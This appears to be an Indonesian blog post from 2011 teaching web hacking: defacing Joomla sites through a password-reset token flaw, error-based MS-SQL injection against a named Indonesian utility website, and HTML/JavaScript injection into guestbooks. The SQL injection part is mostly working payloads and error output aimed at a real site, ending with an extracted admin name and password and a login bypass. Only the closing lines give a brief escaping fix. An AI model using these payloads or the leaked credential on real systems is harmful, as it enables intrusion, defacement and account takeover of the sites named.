Senin, 09 Mei 2011

web hacking

macam macam web hacking di antaranya yaitu deface, sql injection dan script injection. nah mari kita bahas satu-satu. dari yang pertama yaitu:
1. DEFACE
    nah sekarang kita coba aja bagaimana cara deface.



   1. Masuk http://www.google.com
   2.klik/search inurl:option=com_user daerah tujuancontoh: inurl:option=com_user pekan     baru
  3. misalkan dapet korban
http://konsultasimuamalat.com/home/index.php?option=com_user&task=register
lihat warna yang merah akan di ganti dengan
option=com_user&view=reset&layout=confirm
jadi penulisannya...
nah di situ akan keluar token
token tersebut di isi dengan tanda....
' <----------- Kenapa harus tanda ' Emmm kata mr.joker tanda itu adalah tanda di mana kita bisa menjadikan suatu token menjadi eror....ckckckckckckck....
kalo kata saya si dah kodrat....
terus kalo berhasil km akan di bawa menuju
tempat mengisi password baru dan konfirmasi password baru....
isi lah dengan sesuka hati.....
lanjut...................
langkah berikutnya
setelah di berhasil isi pass tersebut anda harus login lagi dengan nama/ username
Admin
nah kalo passwordnya yaitu adalah password yang baru anda buat tadi.....
nah bagaimana ketahuan anda sudah masuk k adminnya????/ anda sudah menjadi admin nya....
yaitu adalah pasti kalo anda sudah bisa masuk ada gambar pensil dan ketas baru edit....
itu bila anda ingin deface halaman depan nya saja
ini contoh korbannya:
lanjut....kalo anda ingin deface full seperti ini http://www.dgllimbo.net/laquimia0/
anda masuk ke emmmm...contoh tadi
itu dari slalu ngantuk saya bljar.....
masuk ke bagian tempeate kalo g salah adanya di extension...
klik tempelates masuk terus liat layouts yang sedang di pakai adminnya..../ yang ada gambar bintangnya....
terus klik lalu klik edit terus klik edit html
masukan semua html kamu di situ...... :afro: :afro:
nah selesai dah....

2.SQL INJECTION
   Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
   Anda tahu betapa berbahaya bug yang satu ini ?
   Berikut akan kita sajikan step by step SQL Injection ini.
  Catatan : kita akan membatasi bahasan pada SQL Injection 
   di MS-SQL Server.
  Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
  Ada dua kelemahan di site ini, yaitu:
  1. Tabel News
  2. Tabel Admin
  Langkah pertama, kita tentukan lubang mana yang bisa di-inject
  dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
  Kita akan menemukan 2 model cara input parameter, yaitu dengan
  cara memasukkan lewat input box dan memasukkannya lewat
  alamat URL.
  Kita ambil yang termudah dulu, dengan cara input box.
  Kemudian kita cari kotak login yang untuk admin.
  Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
  Langkah pertama untuk menentukan nama tabel dan fieldnya,
  kita inject kotak NIP dengan perintah (password terserah, cabang
  biarkan aja):
  ' having 1=1--
  jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
  minus dobel (penting).
  Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
  di www.neoteker.or.id ini (lihat arsip sebelumnya).
  Kemudian akan keluar pesan error:
  --------------------
  Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 
  'T_ADMIN.NOMOR' is invalid in the select list because 
  it is not contained in an aggregate function and 
  there is no GROUP BY clause.
  /sipm/admin/dologin.asp, line 7
  --------------------
  Keluarlah nama field pertama kita !!!
  Catat nama tabel : T_ADMIN
  Catat nama field : NOMOR
  Kemudian kita akan mencari nama field-field berikutnya,
  beserta nama tabel yang mungkin berbeda-beda.
  Kita inject di kotak NIP (password terserah):
  ' group by T_ADMIN.NOMOR having 1=1--
  Akan keluar pesan error:
  --------------------
  Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 
  'T_ADMIN.NIP' is invalid in the select list because 
  it is not contained in either an aggregate 
  function or the GROUP BY clause.
  /sipm/admin/dologin.asp, line 7
  --------------------
  Artinya itulah nama tabel dan field kedua kita.
  Catat : T_ADMIN.NIP
  Kemudian kita cari field ke tiga :
  ' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
  Akan keluar pesan error:
  --------------------
  Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 
  'T_ADMIN.PASSWORD' is invalid in the select list because 
  it is not contained in either an aggregate 
  function or the GROUP BY clause.
  /sipm/admin/dologin.asp, line 7
  --------------------
  Catat field ke tiga : T_ADMIN.PASSWORD
  Lakukan langkah di atas sampai kita menemukan field terakhir.
  Berikut adalah pesan error yang terjadi, jika kita mengecek
  field terakhir dengan meng-inject:
  ' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
  T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL 
  having 1=1--
  (catatan : kalimat harus 1 baris, tidak dipotong)
  --------------------
  - NIP atau Password atau Unit Anda salah !!   -
  --------------------
  Sukses !!! Kita berhasil menemukan field terakhir.
  Daftar kolom (field):
  T_ADMIN.NOMOR 
  T_ADMIN.NIP 
  T_ADMIN.PASSWORD 
  T_ADMIN.NAMA 
  T_ADMIN.KD_RANTING 
  T_ADMIN.ADDRESS 
  T_ADMIN.EMAIL 
  Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
  ini akan mempermudah proses kita selanjutnya.
  Langkah berikutnya, kita menentukan jenis struktur field-
  field tersebut di atas.
  Kita inject di kotak NIP (pass terserah) :
  ' union select sum(NOMOR) from T_ADMIN--
  Arti dari query tersebut adalah : kita coba menerapkan
  klausa sum sebelum menentukan apakah jumlah kolom-kolom
  di dua rowsets adalah sejenis.
  Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
  yang berlaku untuk type kolom numerik, jadi untuk type kolom
  yang bukan numerik, akan keluar error yang bisa memberitahu 
  kita jenis kolom yang dimaksud.
  Pesan error :
  --------------------
  Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries 
  in an SQL statement containing a UNION operator must have 
  an equal number of expressions in their target lists.
  /sipm/admin/dologin.asp, line 7
  --------------------
  artinya kolom NOMOR berjenis numerik.
Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum 
or average aggregate operation cannot take a char data 
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih 
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the varchar value 'bill ' to 
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where 
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the nvarchar value 'm@mpusk@u' to a 
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan 
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u
  Silahkan login ke :
  www.pln-wilkaltim.co.id/sipm/admin/admin.asp
  dengan account di atas, sedang nama cabang, silahkan anda
  isi sendiri dengan cara coba-coba 
  Atau kita pakai jalan pintas saja....
  Kita inject-kan :
  ' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN 
  where NAMA ='bill'--
  catatan : harus satu baris.
  Duarrrrrr..........
  Glhodhak.............
  Langsung masuk ke menu admin.
  Ingat : jangan buat kerusakan ! beritahu sang admin !!!
  Lubang ke dua adalah pada bagian berita.
  Pada dasarnya berita di situ adalah isi dari tabel yang 
  lain lagi. Jadi tetep bisa kita inject !!!
  Bedanya, kita harus memasukkan parameter di alamat URL-nya.
  Contoh :
  www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
  ada parameter id dan idSM.
  Setelah kita coba inject, ternyata yang berpengaruh adalah 
  parameter id aja (CMIIW).
  Kita inject-kan :
  www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
  akan keluar pesan error :
  ---------------------------
  Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 
  'tb_news.NewsId' is invalid in the select list because 
  it is not contained in an aggregate function and 
  there is no GROUP BY clause.
  /dari_Media.asp, line 58
  ---------------------------
  artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
  yang pertama.
  Ulangi langkah-langkah kita di atas sampai didapatkan :
  tb_news.NewsId => numeric
  tb_news.NewsCatId => numeric
  tb_news.EntryDate => datetime
  tb_news.Title => nvarchar
  tb_news.Content => 
  tb_news.FotoLink =>
  tb_news.FotoType => bit data
  tb_news.review => 
  tb_news.sumber => char
  tb_news.dateagenda => datetime
  Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
  pengetahuan anda.
  Anda bisa men-insert berita yang bisa anda tentukan sendiri 
  isinya.
  Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
  Perkiraan saya, nama-nama partai di situs KPU yang di-hack
  oleh Shizoprenic, juga ada di tabel-tabel suatu database,
  jadi tetep bisa dimasuki dengan cara SQL Injection ini.
3.SCRIPT INJECTION
1.Sebuah website hampir semua memiliki guest book (buku tamu), cari website2 yang punya feature ini, kebanyakan itu website pemerintahan, instansi, lembaga tertentu dll.
2. Test dulu, apakah dia secure atau ada hole. Caranya?
Coba anda masukkan tag – tag HTML, misal <table> di dalam salah satu field isian guest book itu.
3. Liat hasil testing,
Jika guest book ada sistem approval, bakalan sulit ngelihat.
Tapi kalau nggak ada sistem approval, kita bisa liat hasil testing kita ini.
Testing sukses jika :
tag <table> kita hilang, dan dia run menjadi tag HTML yang berjalan di pages buku tamu.
Tandanya apa, tampilan Interface web (HTML) menjadi rusak, karena script yang kita injeksi tadi.
Gagal :
Tag string <table>
ditampilkan di guest book, dan tampilan normal saja. Karena <table> ditampilkan menjadi &lt;table&gt;
4. Untuk testing yang sukses, kita bisa ngapain aja ?
a. Insert tag HTML lengkap, terserah diisi apa, yang bagus bisa yang jelek bisa
b. Insert tag Javascript, anda bisa main2 disini
5. Website mana saja yang bisa di script injection ?
Ya cari sendiri mas. Selamat mencoba.
Tidak adil dong ngasih teknik ngerusaknya, tidak ngasih teknik preventifnya.
Yang perlu dimaki di kasus ini adalah programmernya, kenapa dia membiarkan hole/lubang ini bisa terbuka untuk diserang. Programmer dibayar mahal bukan buat duduk2 doang.
Yang peru disiapkan :
1. List mana2 saja pages dimana pengguna internet bisa memasukkan data ke website kita, dan data itu disimpen ke database.
2. Buka file program , cari blok program yang menghandle data dari form (misal buku tamu) sebelum data dimasukkan di database.
3. Lakukan converter pada variable data dari form dengan mengganti tanda < menjadi &lt; dan > menjadi &gt; . Di PHP ada fungsi khusus untuk ini.
4. Cukup dengan ini saja? Iya cukup dan simple khan.

Tidak ada komentar:

Posting Komentar